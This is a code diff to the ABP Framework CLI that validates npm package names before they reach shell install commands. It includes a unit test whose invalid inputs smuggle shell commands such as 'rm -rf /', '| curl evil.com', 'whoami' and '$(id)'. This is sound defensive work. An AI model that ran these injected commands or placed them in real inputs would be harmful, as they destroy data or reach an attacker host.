diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs index f759073927..4b3484936f 100644 --- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs +++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater.cs @@ -3,6 +3,7 @@ using System.Collections.Concurrent; using System.Collections.Generic; using System.IO; using System.Linq; +using System.Text.RegularExpressions; using System.Threading.Tasks; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Logging.Abstractions; @@ -359,18 +360,34 @@ public class NpmPackagesUpdater : ITransientDependency var properties = dependencies.Properties().ToList(); - abpPackages - .AddRange( - properties.Where( - p => p.Name.StartsWith("@abp/") - || p.Name.StartsWith("@volo/") - || p.Name.StartsWith("@volosoft/")).ToList() - ); + foreach (var p in properties.Where( + p => p.Name.StartsWith("@abp/") + || p.Name.StartsWith("@volo/") + || p.Name.StartsWith("@volosoft/"))) + { + if (IsValidNpmPackageName(p.Name)) + { + abpPackages.Add(p); + } + else + { + Logger.LogWarning($"Skipping invalid npm package name: {p.Name}"); + } + } } return abpPackages; } + private static readonly Regex ValidNpmPackageNameRegex = new( + @"^@[a-zA-Z0-9][a-zA-Z0-9._-]*/[a-zA-Z0-9][a-zA-Z0-9._-]*$", + RegexOptions.Compiled); + + public static bool IsValidNpmPackageName(string packageName) + { + return ValidNpmPackageNameRegex.IsMatch(packageName); + } + protected virtual async Task RunInstallLibsAsync(string fileDirectory) { Logger.LogInformation("Installing client-side packages..."); diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs index 6de4f22f62..aa61122128 100644 --- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs +++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/ProjectModification/ProjectNpmPackageAdder.cs @@ -72,6 +72,8 @@ public class ProjectNpmPackageAdder : ITransientDependency return; } + NpmHelper.EnsureSafePackageName(npmPackage.Name); + Logger.LogInformation($"Installing '{npmPackage.Name}' package to the project '{packageJsonFilePath}'..."); if (!File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\"")) @@ -130,6 +132,8 @@ public class ProjectNpmPackageAdder : ITransientDependency public async Task AddMvcPackageAsync(string directory, NpmPackageInfo npmPackage, string version = null, bool skipInstallingLibs = false) { + NpmHelper.EnsureSafePackageName(npmPackage.Name); + var packageJsonFilePath = Path.Combine(directory, "package.json"); if (!File.Exists(packageJsonFilePath) || File.ReadAllText(packageJsonFilePath).Contains($"\"{npmPackage.Name}\"")) diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs index 9b7ce21dc1..8684360f4d 100644 --- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs +++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs @@ -1,6 +1,7 @@ using System; using System.Collections.Generic; using System.Linq; +using System.Text.RegularExpressions; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Logging.Abstractions; using NuGet.Versioning; @@ -65,16 +66,30 @@ public class NpmHelper : ITransientDependency [Obsolete("This method is deprecated. Use 'YarnAddPackage' instead (it uses 'npx', so there is no need for 'yarn' to be globally installed.")] public void NpmInstallPackage(string package, string version, string directory) { + EnsureSafePackageName(package); var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty; CmdHelper.RunCmd("npm install --ignore-scripts " + package + packageVersion, workingDirectory: directory); } public void YarnAddPackage(string package, string version, string directory) { + EnsureSafePackageName(package); var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty; CmdHelper.RunCmd("npx yarn add " + package + packageVersion + " --ignore-scripts", workingDirectory: directory); } + private static readonly Regex SafePackageNameRegex = new( + @"^(@[a-zA-Z0-9][a-zA-Z0-9._-]*/)?[a-zA-Z0-9][a-zA-Z0-9._-]*$", + RegexOptions.Compiled); + + public static void EnsureSafePackageName(string packageName) + { + if (!SafePackageNameRegex.IsMatch(packageName)) + { + throw new InvalidOperationException($"Invalid npm package name detected: {packageName}"); + } + } + public string GetInstalledNpmPackages() { Logger.LogInformation("Checking installed npm global packages..."); diff --git a/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs b/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs new file mode 100644 index 0000000000..8b37fe36f1 --- /dev/null +++ b/framework/test/Volo.Abp.Cli.Core.Tests/Volo/Abp/Cli/ProjectModification/NpmPackagesUpdater_Tests.cs @@ -0,0 +1,29 @@ +using Shouldly; +using Volo.Abp.Cli.ProjectModification; +using Xunit; + +namespace Volo.Abp.Cli; + +public class NpmPackagesUpdater_Tests +{ + [Theory] + [InlineData("@abp/ng.core", true)] + [InlineData("@abp/ng.theme.shared", true)] + [InlineData("@abp/ng.components", true)] + [InlineData("@volo/abp.ng.lepton-x.core", true)] + [InlineData("@volo/abp.commercial.ng.ui", true)] + [InlineData("@volosoft/abp.ng.theme.lepton", true)] + [InlineData("@abp/core && calc.exe", false)] + [InlineData("@abp/core; rm -rf /", false)] + [InlineData("@abp/core | curl evil.com", false)] + [InlineData("@abp/core`whoami`", false)] + [InlineData("@abp/core$(id)", false)] + [InlineData("@abp/core\nnewline", false)] + [InlineData("@abp/ space", false)] + [InlineData("@abp/", false)] + [InlineData("@abp/ng core", false)] + public void IsValidNpmPackageName(string packageName, bool expected) + { + NpmPackagesUpdater.IsValidNpmPackageName(packageName).ShouldBe(expected); + } +}